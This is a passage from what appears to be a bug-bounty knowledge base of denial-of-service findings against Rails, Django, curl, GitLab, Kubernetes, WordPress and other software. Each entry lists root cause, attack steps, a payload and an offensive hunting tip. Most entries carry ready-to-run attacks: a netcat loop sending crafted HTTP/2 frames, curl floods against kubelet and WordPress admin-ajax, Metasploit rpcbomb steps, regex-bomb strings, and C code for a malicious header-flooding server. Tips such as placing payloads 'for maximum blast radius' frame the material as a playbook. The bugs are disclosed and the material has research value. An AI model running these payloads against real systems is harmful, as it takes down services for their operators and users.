- Move the issue to another project (triggers the uploads rewriter scan)
- One CPU pegged for 60s; issue many moves in parallel to exhaust all cores
python -c "print('![l' * 100000 + '\n')" # use as issue description, then move the issue
Insight — Hunt server-side regexes that scan user-controlled bodies (markdown/link/upload rewriters, mention parsers). Patterns with .*? plus alternation/nested quantifiers over long input are ReDoS. Trigger points are often secondary actions (move/import/preview) not the create path. Fix is RE2 (linear) or the app's untrusted_regexp wrapper - detecting RE2 use tells you it is already hardened.
Real-world example
Ruby CGI::Cookie.parse super-linear DoS
◆ Medium
Specimen #3013913 · ibb · awarded · 19 votes · resolved
Program ibbSurface other
Root cause
CGI::Cookie.parse in Ruby's cgi gem takes super-linear time to parse certain maliciously crafted cookie strings, so a single crafted Cookie header can DoS the request (CVE-2025-27219).
Method
- Identify an endpoint whose stack parses cookies via CGI::Cookie.parse
- Send a crafted Cookie header that triggers the super-linear path
- Parsing time explodes -> DoS
# crafted Cookie: header fed to CGI::Cookie.parse (see advisory / report #2936778 for exact string)
Insight — Header/cookie parsers are a frequent super-linear DoS sink in stdlib. When targeting Ruby apps, fingerprint the cgi gem version and stress the Cookie header. Same family as the CGI/ReDoS class - the request is unauthenticated (cookies parsed before auth).
Real-world example
Django urlize() ReDoS via '&' + repeated ';:'
◆ Medium
Specimen #2881639 · ibb · USD 2162 · 18 votes · resolved
Program ibbSurface other
Root cause
django.utils.html.urlize()/urlizetrunc() (HTML-entity trailing-punctuation handling) degrade to quadratic time on large inputs shaped like '&' followed by many ';:' pairs (CVE-2024-45230).
Method
- Find a sink calling urlize/urlizetrunc on user text (e.g. |urlize filter, comment rendering)
- Send '&' + ';:'*n with large n
- Response time grows quadratically (100s+ at ~800k chars)
import django.utils.html
django.utils.html.urlize('&' + ';:'*400000) # tens of seconds
Insight — Second distinct Django ReDoS pattern (ampersand + ';:' entity-like sequence) - keep a small corpus of Django ReDoS payloads and spray any linkify/urlize surface. Sibling of Truncator ReDoS (#2402193).
Real-world example
Range expansion (Range#to_a) memory bomb in net-imap parser
◆ Medium
Specimen #2987782 · ibb · awarded · 18 votes · resolved
Program ibbSurface other
Root cause
Net::IMAP's response parser converts uid-set data with Range#to_a and imposes no limit on the expanded size. A malicious server sends a compact uid-set like 1:4294967295, which the client's receiver thread auto-expands into a billions-element integer array -> memory exhaustion (CVE-2025-25186).
Method
- Control (or MITM) the IMAP server the client connects to
- At any point send a response containing a huge uid-set range (e.g. 1:4294967295)
- Client's receiver thread calls Range#to_a -> allocates enormous array -> OOM
* SEARCH 1:4294967295
# or any response field parsed as uid-set; tiny wire size, massive expansion
Insight — Range/interval notations (uid-set, byte-ranges, CIDR, numeric ranges) that get eagerly materialized to a list are compression-style DoS: a few bytes on the wire -> gigabytes in memory. Whenever a parser turns 'a:b' into an array, check for a cap. Client-side: a malicious server DoSes the client (relevant to any app connecting out to IMAP/SMTP/etc).
Real-world example
Persistent app DoS via malformed URL corrupting cache
◆ Medium
Specimen #1074613 · duckduckgo · none · 17 votes · resolved
Program duckduckgoSurface mobile-android
Root cause
Opening a URL containing an encoded quote (%22) causes the mobile app to store a malformed value in its cache, after which the app crashes on every launch and cannot recover without reinstall.
Method
- Deliver/open the crafted URL in the app (e.g. via a link)
- URL: https://%22t.dev/ (encoded double-quote in host)
- App caches the bad value and crash-loops on relaunch
https://%22t.dev/
Insight — Persistent (not transient) client DoS: find inputs that get written to durable local storage/cache before validation, so the bad state survives restarts. Encoded quotes/nulls/control chars in URLs are good candidates - fix is to store canonicalized/encoded values.
Real-world example
NUL byte in DM reaction persistently crashes mobile client
◆ Medium
Specimen #784676 · x · USD 560 · 17 votes · resolved
Program xSurface mobile-ios
Root cause
The API accepts an unsanitized reaction_key (including control chars like \r, \n, and a NUL byte \0). The value is rendered in the DM list preview; a \0 crashes the iOS app on render, and because the bad message persists, the app crashes again on every reopen - a stored client-side DoS.
Method
- Start a DM with the victim (or yourself)
- POST to the reaction endpoint with reaction_key set to a real NUL byte
- Victim's iOS app crashes and keeps crashing on relaunch until the message is deleted via web
POST https://api.twitter.com/1.1/dm/reaction/new.json
conversation_id=...&dm_id=...&reaction_key=%00
Insight — Server APIs that don't strip control characters (\0, \r, \n) let you store a value that crashes native clients on render - a persistent, targeted DoS delivered by message/DM. Fuzz any user-controlled string that appears in another user's UI with NUL and control bytes. Same shape as Mattermost webapp crash (#1253732).
Real-world example
Unbounded template field processed on run -> server crash (Mattermost playbook)
◆ Medium
Specimen #1685979 · mattermost · awarded · 17 votes · resolved
Program mattermostSurface web
Root cause
Playbook fields run_summary_template / retrospective_template / description have no size validation, so a normal user can store ~50MB (nginx body cap). Creation is harmless, but RUNNING the playbook processes the giant template and consumes abnormal CPU/memory until the server crashes; afterward the run page won't load, so it can't be cleaned up via UI (CVE-2022-4019).
Method
- As a normal user, POST to /plugins/playbooks/api/v0/playbooks with run_summary_template = 50MB of chars
- Open the playbook and click Run, name the run
- Server processes the huge template -> resource spike -> crash; app unavailable to all
curl -X POST 'http://TARGET/plugins/playbooks/api/v0/playbooks' -H 'Content-Type: application/json' -d @payload --cookie 'MMAUTHTOKEN=...' -H 'X-CSRF-TOKEN: ...'
# payload: JSON with run_summary_template = 'A'*50000000
Insight — The dangerous work is often deferred: an unvalidated size on a stored field is benign until a later action (run/render/export) processes it. Hunt for template/description/note fields with no length cap, then find the action that expands or renders them. Bonus impact when the crash also bricks the cleanup UI.
Real-world example
Algorithmic-complexity DoS via many multipart parts
◆ Medium
Specimen #431561 · rails · awarded · 17 votes · resolved
Program railsSurface webTag file-upload
Root cause
Rack/Rails multipart body parsing has worse-than-linear (quadratic) cost in the number of parts, so a request with tens of thousands of parts consumes seconds of CPU per request.
Method
- Generate a multipart/form-data body with a very large number of parts (10k+) using a large boundary for higher impact.
- POST it to any multipart-accepting Rails/Rack endpoint; measure response time.
- Observe gateway timeouts; repeat to tie up worker processes (deliverable even from a plain HTML form, so combinable with XSS/CSRF for mass victims).
# ~10,000 parts -> 15-25s to service (reporter's script)
# https://gist.github.com/bjeanes/63580e27c197885d4b07160fae132108
# body shape:
--BOUNDARY\r\nContent-Disposition: form-data; name="a0"\r\n\r\nx\r\n (x N parts)\r\n--BOUNDARY--
Insight — Distinct from ReDoS: the cost is in the parser's data-structure handling, not a regex. Whenever a parser's cost is superlinear in element count (parts, params, JSON keys, XML nodes), a single well-formed request is a DoS. Test with escalating N and watch for nonlinear time growth.
Real-world example
Unbounded password length -> hashing CPU/memory DoS
◆ Medium
Specimen #952349 · nextcloud · none · 16 votes · resolved
Program nextcloudSurface webTag account-takeover
Root cause
The login/password field accepts arbitrarily long input (e.g. 1,000,000 chars) which is fed into the password hashing routine, causing CPU/memory exhaustion per request (algorithmic DoS).
Method
- Submit login/registration with a ~1,000,000-character password
- Server hashes the full string, spiking CPU/memory
- Repeat to degrade or down the service
POST /login user=x&password=<1,000,000 'A' characters>
Insight — Test max length caps on any hashed input (password, share password); missing caps turn bcrypt/argon/pbkdf2 cost into a cheap unauth DoS. Frameworks should cap at ~72-128 chars before hashing.
Real-world example
Multi-header compression bomb: N encoding headers each allocate a buffer (curl)
◆ Medium
Specimen #1826048 · curl · none · 16 votes · resolved
Program curlSurface other
Root cause
For each listed Transfer-Encoding/Content-Encoding, curl allocated a decompression buffer. The number of encodings inside one header was bounded, but the number of such headers was not - so many repeated encoding headers allocate unbounded memory (CVE-2023-23916/23915).
Method
- Malicious server responds with many repeated Transfer-Encoding / Content-Encoding headers
- Each allocates a decode buffer
- Memory exhausted -> DoS
HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\r\nContent-Encoding: gzip\r\nContent-Encoding: gzip\r\n ...(many)...\r\n
Insight — Compression-related headers are a per-item allocation sink; bound the count, not just the per-header list. Variant of the general 'client buffers server-controlled data unbounded' pattern (#2146691) but specific to chained content/transfer encodings.
Real-world example
No rate limit on email-generating endpoints (email/reset bombing) + static reset link
◆ Medium
Specimen #862681 · deptofdefense · none · 15 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
Endpoints that send email (password reset, account deletion, referral, invites) have no per-target rate limit, so an attacker can flood a victim's inbox; compounded when the reset link stays identical across requests.
Method
- Find an unauthenticated email-triggering endpoint (reset/delete/referral/invite).
- Capture the POST and replay with Burp Intruder (null payloads) hundreds of times.
- Victim inbox is flooded; note if the reset token/link is reused rather than rotated per request.
POST /api/requests/account_delete HTTP/1.1
Content-Type: application/x-www-form-urlencoded
_csrf=... # replay N times via Intruder
Insight — Rate-limit-only findings become real when tied to a consequence: inbox flooding (DoS/harassment), phishing cover, or - stronger - a reset link that does not rotate per request (increases token exposure/predictability). Always check whether the emitted token changes each send.
Real-world example
Regex injection -> ReDoS via GraphQL search parameter
◆ Medium
Specimen #1000567 · cs_money · USD 250 · 15 votes · resolved
Program cs_moneySurface graphqlTag graphql
Root cause
The GraphQL search(q:) argument is compiled into a server-side regular expression (confirmed by leaking the pattern via null-byte and unbalanced-paren errors). Because the user controls the regex itself, an attacker supplies a catastrophic-backtracking pattern (regex bomb) -> ReDoS.
Method
- Send a normal search and note near-instant tracing time in the GraphQL extensions
- Inject \u0000 or an unbalanced ')' in q to leak the underlying regex (error reveals /(?=.*X))/)
- Submit a crafted regex-bomb value in q and compare response time to the baseline
query a { search(q: "[a-zA-Z0-9]+\\s?)+$|^([a-zA-Z0-9.'\\w\\W]+\\s?)+$\\", lang: "en") { _id } }
# probe first: search(q: "\u0000)" ...) leaks the server regex in the error
Insight — When a search/filter param is fed into a regex engine, you can often confirm it (inject a bad metachar and read the error) and then inject your OWN catastrophic pattern - regex injection becomes ReDoS without needing a specific vulnerable app regex. GraphQL tracing (startTime/endTime in extensions) is a free timing oracle. Watch for 'Invalid regular expression' / 'must not contain null bytes' errors.
Real-world example
Apache mod_http2 worker-thread starvation via crafted h2 requests
◆ Medium
Specimen #384839 · ibb · awarded · 15 votes · resolved
Program ibbSurface other
Root cause
mod_http2 can be tricked by specially crafted HTTP/2 requests into holding server resources (worker threads) longer than necessary, waiting for data until timeout. With ~150 workers and a 1-minute timeout, a slow trickle (3-4 req/s) of short crafted requests keeps all workers occupied -> unavailability (CVE-2018-1333).
Method
- Target a server with h2/h2c enabled
- Send crafted HTTP/2 frames (raw preface + malformed HEADERS frames, found via afl-fuzz) that make workers wait
- Maintain a low request rate; workers stay blocked until timeout -> legit users starved
for x in `seq 0 500`; do echo 505249202a20485454502f322e300d0a0d0a534d0d0a0d0a00001204000000000000000000006400044000000000020000000000001b0104000000018284864187089d5c0b8178ff7a8825b650c3abb6f2e053032a2f2a00001b0105000000019a84864187089d5c0b8178ff7a880000000000000000 | xxd -r -p | nc HOST PORT 2>&1 >/dev/null & done
Insight — Slowloris-class DoS at the protocol layer: any request shape that makes a worker BLOCK waiting for more data (HTTP/2 half-open streams, incomplete frames, slow bodies) starves a bounded worker pool at a trivial request rate. Protocol fuzzing (afl) over raw frames surfaces these; the tell is a small request that keeps a connection/worker alive far longer than normal.
Real-world example
Nil-pointer panic crashloop from object referencing missing dependency (K8s snapshot-controller)
◆ Medium
Specimen #1032086 · kubernetes · 500 · 15 votes · resolved
Program kubernetesSurface cloud
Root cause
csi-snapshot-controller's syncSnapshotByKey dereferences a nil field when a VolumeSnapshot has an empty volumeSnapshotClass and a source PVC name that doesn't exist; the panic ('invalid memory address or nil pointer dereference') kills the controller, which restarts and dies again on the same object → persistent DoS (CVE-2020-8569).
Method
- Create a VolumeSnapshot with no spec.volumeSnapshotClass and source.persistentVolumeClaimName set to a non-existent PVC
- snapshot-controller processes it, hits nil deref at snapshot_controller_base.go, SIGSEGV panic
- Controller crashloops re-processing the same object; snapshots stop working cluster-wide
apiVersion: snapshot.storage.k8s.io/v1beta1
kind: VolumeSnapshot
metadata:
name: new-snapshot
spec:
source:
persistentVolumeClaimName: blabla # non-existent PVC, no volumeSnapshotClass
Insight — In Go controllers/operators, a user-creatable object that references a non-existent dependency is a prime nil-deref DoS: the reconcile loop assumes the lookup succeeded. The crashloop makes it a poison-pill — the controller can never make progress until the object is removed. Test every CRD with dangling/empty references.
Real-world example
Algorithmic-complexity DoS in Django urlize (CVE-2024-38875)
◆ Medium
Specimen #2591681 · ibb · USD 2142 · 14 votes · resolved
Program ibbSurface web
Root cause
The urlize/urlizetrunc filter's trim_punctuation loops trimming wrapping/trailing punctuation until stable; with many opening and closing braces each pass trims one char, giving O(n^2) worst-case work on attacker text.
Method
- Find any sink that runs Django urlize/urlizetrunc on user text
- Submit a long string of balanced/opening-closing braces with no terminating char
- Server CPU spins quadratically in trim_punctuation
{{{{{{{{{{ ... (tens of thousands of '(' and ')' / '{' '}' wrapping punctuation) ... }}}}}}}}}}
Insight — Any 'trim until unchanged' loop over user input is a complexity-DoS smell. Look for template filters, sanitizers and punctuation strippers; feed long runs of the boundary characters and watch CPU scale super-linearly.
Real-world example
Rate-limit bypass via malformed header key (space before colon)
◆ Medium
Specimen #1206777 · trycourier · none · 14 votes · resolved
Program trycourierSurface apiTag cloud-aws
Root cause
AWS API Gateway rate limiting keyed on X-Forwarded-For could be bypassed by adding a space before the colon in the header name ('X-Forwarded-For :'), so the throttling layer failed to associate the value and each request looked fresh.
Method
- Confirm rate limiting keyed on X-Forwarded-For
- Send the header with a space before the colon so the proxy/limiter mis-parses the key
- Vary the value to appear as new source IPs and exceed the limit
X-Forwarded-For : 127.0.0.1
(note the space before the colon in the header key)
Insight — When a rate limiter trusts a client-supplied IP header, fuzz the header name/format (leading space, casing, duplicate headers, X-Forwarded-For vs X-Forwarded-For<space>) — parser mismatches between the limiter and the app defeat throttling.
Real-world example
Stored ReDoS via Rouge syntax-highlighting lexers (GitLab)
◆ Medium
Specimen #1283484 · gitlab · USD 600 · 13 votes · resolved
Program gitlabSurface web
Root cause
Rouge language lexers use regexes with overlapping quantifiers (multiple .* / \s+ matching the same chars) giving cubic worst-case backtracking; a fenced code block with a long unterminated run of spaces/backticks hangs the highlighter at 100% CPU on every render.
Method
- Create a markdown/wiki/code file with a fenced block tagged ghc-core, factor, or ceylon
- Fill it with a long run of the trigger char and no terminator
- Rendering (wiki/file/README view) spins CPU until the 60s timeout -> 500/502; stored so it recurs on every view
```ghc-core
Result size of <3456 spaces>
```
# Factor: '"""' + ' ' * 3456
# Ceylon: '"' + '`' * 3456
Insight — Any server-side markdown/code renderer, syntax highlighter, or sanitizer that uses regex lexers is a stored-ReDoS candidate. Doubling the repeat length ~8x's the time (cubic) is the confirmation signal. Store it on a landing/README/wiki-home page for maximum blast radius.
Real-world example
Quadratic DB load via sharee recommendations with circles (CVE-2022-39330)
◆ Medium
Specimen #1688199 · nextcloud · USD 250 · 13 votes · resolved
Program nextcloudSurface web
Root cause
The sharees_recommended endpoint loops over circles x folders; once the product exceeds a threshold the loop runs until PHP max_execution_time, so a few authenticated requests generate massive DB/CPU load.
Method
- Create ~9 circles and ~6 folders (circles*folders > 50)
- Share every folder with every circle
- Open the share tab so /ocs/v2.php/apps/files_sharing/api/v1/sharees_recommended is hit
- Each request loops until timeout; a handful stresses even large servers
GET /ocs/v2.php/apps/files_sharing/api/v1/sharees_recommended
# after seeding circles*folders > 50
Insight — Authenticated resource-exhaustion often hides in recommendation/search/aggregation endpoints whose cost is quadratic in user-created objects. Seed many-to-many relationships (circles x folders, tags x items) then hit the endpoint that joins them.
Real-world example
libcurl HTTP/2 PUSH_PROMISE header memory leak (CVE-2024-2398)
◆ Medium
Specimen #2402845 · curl · none · 12 votes · resolved
Program curlSurface network
Root cause
For each PUSH_PROMISE header libcurl allocates a name:value string into push_headers[]; when the count exceeds the 1000 threshold it frees the array but not the individual string elements (same on realloc failure), leaking memory until exhaustion.
Method
- Point a curl HTTP/2 client (push enabled) at a malicious server
- Server continuously sends PUSH_PROMISE frames each carrying >1000 headers
- The over-threshold cleanup frees the array but leaks every element string -> unbounded growth
# malicious server: nghttpd sending PUSH_PROMISE frames with >1000 headers each
nghttpd -p/=/foo.bar --no-tls 8181
# client: valgrind --leak-check=full ./http2_push_promise
Insight — Client-side DoS matters too: a malicious server can exhaust a client. Audit error/cleanup paths in header/array handling for 'free container, forget elements' leaks — trigger the exact over-limit branch the reporter did.
Real-world example
Exposed rpcbind (port 111) rpcbomb memory exhaustion (CVE-2017-8779)
◆ Medium
Specimen #791893 · endless_group · none · 11 votes · resolved
Program endless_groupSurface network
Root cause
An internet-exposed rpcbind service on TCP/UDP 111 is vulnerable to CVE-2017-8779 (rpcbomb): crafted RPC calls cause large, unfreed XDR string allocations, exhausting memory for a remote DoS.
Method
- Port scan the target; find open 111/rpcbind
- Run Metasploit auxiliary/dos/rpc/rpcbomb with RHOSTS=target RPORT=111
- Server allocates and never frees XDR memory -> DoS
msf> use auxiliary/dos/rpc/rpcbomb
msf> set RHOSTS TARGET
msf> set RPORT 111
msf> exploit
Insight — Recon-driven DoS: always fingerprint exposed non-HTTP infra ports (111 rpcbind, memcached 11211, etc.) against known CVEs. Open rpcbind to the internet is both a DoS and reflection/amplification risk; remediation is to filter the port.
Real-world example
ReDoS in rails-html-sanitizer scrub_attribute regex
◆ Medium
Specimen #1684163 · rails · none · 11 votes · resolved
Program railsSurface web
Root cause
scrub_attribute applies /url\s*\(\s*[^#\s][^)]+?\)/m to SVG attribute values whose names are in SVG_ATTR_VAL_ALLOWS_REF; a long 'url(uu'*n input causes catastrophic backtracking (CVE-2022-23514/23517).
Method
- Configure sanitizer to allow a tag + an SVG ref attribute (e.g. mask)
- Submit an attribute value of many repeated 'url(uu' tokens
- Sanitizer scrub time grows super-linearly -> DoS
mask = 'url(uu' * 100000
'<s mask="' + mask + '" id="aa">aa</s>'
# scrub(100000) ~ 234s CPU
Insight — Sanitizers/HTML scrubbers are prime ReDoS targets: audit their regexes (especially [^)]+? with adjacent optional whitespace) and benchmark with exponentially growing repeated tokens.
Real-world example
Unprotected shareinfo endpoint: token enum + full-tree DoS (CVE-2021-32703)
◆ Medium
Specimen #1173684 · nextcloud · USD 100 · 10 votes · resolved
Program nextcloudSurface webChain missing rate limit + unbounded response -> DoS; also toke
Root cause
The federated-sharing endpoint index.php/apps/files_sharing/shareinfo has no rate limiting or brute-force protection, accepts any token (including public link-share tokens), and returns the entire file tree below the share; repeated valid requests against a large tree cause heavy DB/memory load (and enable token enumeration).
Method
- Create or find a link share with a large file tree
- Repeatedly POST valid share tokens to /index.php/apps/files_sharing/shareinfo
- Each request returns the whole subtree (heavy queries/memory); no rate limit flags it -> DoS; also brute-force tokens
POST /index.php/apps/files_sharing/shareinfo
t=<link-share-token> # repeat rapidly; response = entire file tree
Insight — Look for secondary/federation/internal endpoints that duplicate a protected feature but skip its rate limiting and token checks. An endpoint that returns unbounded data (full tree/list) with no throttle is both an enumeration oracle and an amplification-DoS lever.
Real-world example
ReDoS in library grammar/identifier regex (protobufjs .proto parser)
◆ Medium
Specimen #319576 · nodejs-ecosystem · none · 10 votes · resolved
Program nodejs-ecosystemSurface other
Root cause
A nested-quantifier identifier regex /^(?:\.?[a-zA-Z_][a-zA-Z_0-9]*)+$/ used to validate names in a parser exhibits catastrophic backtracking on a long run of valid chars followed by an invalid one.
Method
- Find where user-supplied text is validated with a regex containing nested quantifiers ((a+)+, (a|aa)+, or a repeated char class inside a group).
- Feed a long string of matching characters ending in one non-matching character to force exponential backtracking.
- Parse/load a crafted .proto (or any input the library validates) and observe the event loop pin at 100% CPU.
// awesome.proto
package awesomepackage;
syntax = "proto3";
message AwesomeMessage {
option (my_option) = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx!;
}
// trigger:
require('protobufjs').load("./awesome.proto", () => {});
// vulnerable regex: /^(?:\.?[a-zA-Z_][a-zA-Z_0-9]*)+$/ evil: 'x'*N + '!'
Insight — Grep dependency source for regexes with nested/adjacent quantifiers on user-reachable input; the classic evil string is <many matching chars> + <one non-matching char>. Single-threaded runtimes (Node) turn one request into a full-process hang.
Real-world example
Stored malformed message breaks victim's client-side messenger
◆ Medium
Specimen #178742 · bumble · awarded · 10 votes · resolved
Program bumbleSurface web
Root cause
Sending a message whose content the recipient's client-side emoticon/link builder (SmileViewController BuildLink) cannot parse throws in the message-list render, so the victim can no longer open/read/write messages until state clears -- a targeted persistent DoS requiring only one message.
Method
- Compose a message with a payload the smile/link parser mishandles (malformed link inside emoticon-processing text)
- Send it to the target user (desktop web version)
- Victim's inbox/thread rendering breaks; they cannot read or reply
Send a message body containing a malformed link the client emoticon builder (BuildLink) fails on (desktop web only; mobile/app not affected).
Insight — Client-side renderers of user-to-user content (chat, comments, bios) are stored-DoS targets: send input that throws in the render path to lock the victim's view. Test the parser that transforms tokens (emoji, links, markdown), not the transport.
Real-world example
ReDoS reachable through outbound HTTP: malicious webhook receiver poisons Ruby net/http header parsing
◆ Medium
Specimen #1531958 · gitlab · awarded · 9 votes · resolved
Program gitlabSurface webChain outbound webhook/SSRF fetch -> attacker-controlled HTTP rTag webhook
Root cause
Ruby net/http strips trailing whitespace from each response header with line.sub(/\s+\z/, ''); with no start anchor this is quadratic and backtracks catastrophically on a header value containing many spaces that does NOT end in a space. Any server-side HTTP client (webhooks, URL preview, SSRF-guard fetch) that reads attacker-controlled responses is exposed.
Method
- Point a webhook / integration / URL-import at an attacker-controlled server.
- Respond 200 OK then a header line like `X: a<9,500,000 spaces>b` (many spaces, not ending in a space).
- The client-side worker (Sidekiq web_hook job) pins one core at 100% CPU for the duration of the quadratic sub; long headers also stay resident in memory.
- Bypasses connection/read timeouts that are only checked BETWEEN header lines (the regex never yields mid-line).
# server responds with, in a single header line:
HTTP/1.1 200 OK\r\nX: a{950000 spaces}b\r\n\r\n
# root cause in ruby net/http/response.rb:
line = sock.readuntil("\n", true).sub(/\s+\z/, '')
# demonstrate the quadratic blowup:
( "a" + " " * 950000 + "b" ).sub(/\s+\z/, '')
Insight — When a target makes server-side outbound requests you control the response to, attack the client's own header/body parsing, not just the app. Timeouts checked per-line do not stop an in-regex hang. Test any Ruby app doing Gitlab::HTTP / httparty / net/http.
Real-world example
Metric label cardinality explosion via unauthenticated requests (Kubelet, CVE-2020-8551)
◆ Medium
Specimen #774896 · kubernetes · awarded · 9 votes · resolved
Program kubernetesSurface cloud
Root cause
An HTTP server records Prometheus metrics with a `path` label set to the raw request path for every request, authenticated or not; each unique path creates new time series (16 here), so flooding random paths grows memory unboundedly until the process is OOM-killed (kubelet then may evict all pods).
Method
- Find an endpoint that emits per-request metrics labelled with an unbounded attacker-controlled value (path, method, user-agent, host).
- Send many requests with random unique values for that label (no auth needed against kubelet :10250).
- Scrape the metrics endpoint to confirm time-series count grows with each unique value; continue until OOM.
for i in $(seq 1 1000000); do curl --insecure https://NODE_IP:10250/$(head -c8 /dev/urandom|xxd -p); done
# verify:
curl .../metrics | grep 'kubelet_http_requests_total\|kubelet_http_requests_duration_seconds\|kubelet_http_inflight_requests'
Insight — Unbounded, attacker-controlled Prometheus label values are a memory-DoS sink. Audit any /metrics-instrumented service for labels derived from raw request path/host/UA. Fix is to bucket to a fixed route template.
Real-world example
Client-side memory exhaustion via unbounded HTTP response headers (curl CVE-2023-38039)
◆ Medium
Specimen #2072338 · curl · none · 9 votes · resolved
Program curlSurface other
Root cause
An HTTP client that stores all received response headers with no cap lets a malicious server stream an endless sequence of headers, forcing the client to allocate ever-growing memory until the system is exhausted.
Method
- Stand up a malicious HTTP server.
- Send a valid status line + a few headers, then loop sending header lines forever with MSG_MORE (never finishing headers).
- Point the victim client (curl/libcurl app) at the server and watch its RSS climb until OOM.
void send_payload(int fd){
send(fd, validreq, sizeof(validreq), MSG_MORE);
while(1){
send(fd, speedup, sizeof(speedup), MSG_MORE); // padding to speed exhaustion
send(fd, "a:b\x0d\x0a", 5, MSG_MORE); // endless "a:b" headers
}
}
// victim: curl http://ATTACKER:80
Insight — Server-side URL fetchers / SSRF-guards / update checkers using libcurl are DoS-able by a malicious endpoint. When a target fetches attacker URLs, attack the client's response handling (headers, decompression) not just the app.
Real-world example
Rack multipart parser ReDoS (CVE-2022-30122)
◆ Medium
Specimen #1627159 · ibb · 2400 · 9 votes · resolved
Program ibbSurface webTag file-upload
Root cause
Rack's multipart parser uses regexes (BROKEN_QUOTED / BROKEN_UNQUOTED) with catastrophic backtracking on the Content-Disposition header parsing, so a crafted multipart POST makes parsing take exponentially long.
Method
- Send a multipart/form-data POST to any Rack/Rails endpoint that reads POST params (request.POST/params)
- Craft the multipart part headers (quoting) to trigger backtracking in BROKEN_QUOTED/BROKEN_UNQUOTED
- Server CPU spikes / request hangs -> DoS
POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=x
--x
Content-Disposition: form-data; name="a"; filename="<crafted long unbalanced-quote value triggering BROKEN_QUOTED backtracking>"
...
--x--
Insight — Any framework that parses attacker-controlled multipart headers with regex is a ReDoS candidate; test long/unbalanced-quote filename and Content-Disposition values and watch response time. Reading request.params in Rails alone triggers the parser.
Real-world example
WordPress load-scripts.php unauthenticated resource-exhaustion DoS (CVE-2018-6389)
◆ Medium
Specimen #690338 · formassembly · none · 8 votes · resolved
Program formassemblySurface web
Root cause
WordPress's pre-login load-scripts.php concatenates every script named in the load[] array with no count/size cap and no auth, so one request can force the server to read/concatenate the full script registry.
Method
- Confirm target runs WordPress and /wp-admin/load-scripts.php is reachable pre-auth
- Request the endpoint with load[] set to the full list of registered handles to maximize work per request
- Repeat concurrently to exhaust CPU/memory
GET /wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core,jquery-ui-widget,...,editor&ver=4.9.1 HTTP/1.1
Host: TARGET
Insight — Unauthenticated 'loader/bundler' endpoints (load-scripts.php, load-styles.php, asset concatenators) that accept an attacker-controlled list of resources are cheap amplification/DoS primitives; look for array params that drive server-side file reads.
Real-world example
ReDoS via user-controlled value compiled as a regex (Django locale parameter)
◆ Medium
Specimen #1746098 · ibb · 2400 · 8 votes · resolved
Program ibbSurface web
Root cause
Internationalized URL handling treated the locale/language identifier taken from the URL as a regular expression; a crafted locale acts as an evil regex causing catastrophic backtracking (CVE-2022-41323, Django 3.2/4.0/4.1).
Method
- Identify any parameter (locale, language, path segment) whose value is later used to build/compile a regex.
- Supply a crafted regex/pathological value in that parameter.
- Observe CPU exhaustion during URL resolution / i18n routing.
GET /<crafted-locale-treated-as-regex>/some/i18n/url
# vulnerable when locale IDs from the URL are compiled into a regex
Insight — Any place that turns attacker input into a compiled regex is both a ReDoS and potential logic sink; check i18n/localization, search filters, and validation routines that echo user input into RegExp.
Real-world example
Decompression bomb via unbounded chained Content-Encoding (curl CVE-2022-32206)
◆ Medium
Specimen #1614330 · ibb · 2400 · 8 votes · resolved
Program ibbSurface other
Root cause
HTTP allows stacking multiple content/transfer encodings; a client that applies an unbounded number of chained decompression steps (gzip/brotli/zstd) can be driven into a malloc bomb by a malicious server declaring many compression links.
Method
- Confirm the client auto-decompresses responses (per-transfer opt-in for curl).
- Return a response with a long chain of Content-Encoding (or Transfer-Encoding) values, each a valid supported algorithm.
- Each link multiplies allocated heap; the client exhausts memory or errors OOM.
Content-Encoding: gzip, gzip, gzip, gzip, ... (unbounded links)
# each additional decompression stage multiplies memory; fix caps chain to 5
Insight — Where a client/proxy auto-decompresses, test stacked Content-Encoding / Transfer-Encoding chains and single-layer zip bombs. Same client-side-DoS-from-malicious-server pattern as the header-flood bug.
Real-world example
Deeply nested request parameters exhaust the stack (Rails/Rack SystemStackError, CVE-2015-3225)
◆ Medium
Specimen #42797 · rails · awarded · 8 votes · resolved
Program railsSurface web
Root cause
Rack builds the params hash by recursively parsing bracketed keys foo[a][b][c]...; a single request with deep enough nesting overflows the stack (SystemStackError) and the error-handling code re-normalizes the same params, looping until the process hangs.
Method
- Send one request whose param key is deeply nested (foo[a][a]...[a]=bar) via query string or body.
- The recursive params parser raises SystemStackError; the exception path re-parses and exhausts the worker.
- Increase nesting depth until single-threaded/WEBrick/Thin workers die; fan out for multi-worker servers.
curl -i -s -X GET -H 'Content-Type: application/x-www-form-urlencoded' \
--data-binary $'foo[a][a][a][a]...(hundreds of [a])...[a]=bar' \
'http://TARGET/'
Insight — Test structured-input parsers with pathological depth/breadth: deeply nested params, nested JSON/XML, huge arrays. Recursive parsers without depth limits convert one small request into a stack/CPU DoS. Rack fixed by capping param depth.
Real-world example
Path traversal to /dev/random depletes entropy and blocks PHP (WordPress core Ajax)
◆ Medium
Specimen #163307 · instacart · 100 · 8 votes · resolved
Program instacartSurface webChain path traversal (file read) -> read /dev/random -> entr
Root cause
A path-traversal in WordPress Core Ajax handlers lets a low-priv (Subscriber) user point a file read at /dev/random via the plugin= parameter of update-plugin; each request reads up to 8KB from /dev/random, and repeated requests drain the entropy pool so /dev/random blocks and PHP scripts stall (nonce check happens too late, so it is also CSRF-triggerable).
Method
- Authenticate as any low-priv user (or set up CSRF since nonce is checked late).
- Call admin-ajax.php action=update-plugin with plugin traversed to /dev/random.
- Fire many concurrent requests to drain entropy and block PHP.
# after logging in as subscriber:
for i in `seq 1 1000`; do
curl --cookie "$cookiejar" \
--data 'plugin=../../../../../../../../../../dev/random&action=update-plugin' \
"$TARGET/wp-admin/admin-ajax.php" >/dev/null 2>&1 &
done
Insight — When you find an arbitrary/traversal file read, blocking special files (/dev/random) is a DoS escalation beyond info disclosure. Late nonce/CSRF checks turn an authenticated bug into an unauthenticated one.
Real-world example
Hardlink a service's own log path onto its executable to crash it on boot
◆ Medium
Specimen #858603 · acronis · awarded · 8 votes · resolved
Program acronisSurface desktop
Root cause
A privileged service writes logs to a world-writable directory using predictable sequential filenames; an unprivileged user pre-creates the next log file as a hardlink to the service's own executable, so on next start the service opens its EXE for writing and dies on a sharing violation - a persistent, silent self-DoS of a security control.
Method
- Find a privileged service logging to a user-writable dir with predictable names (active_protection.N.log)
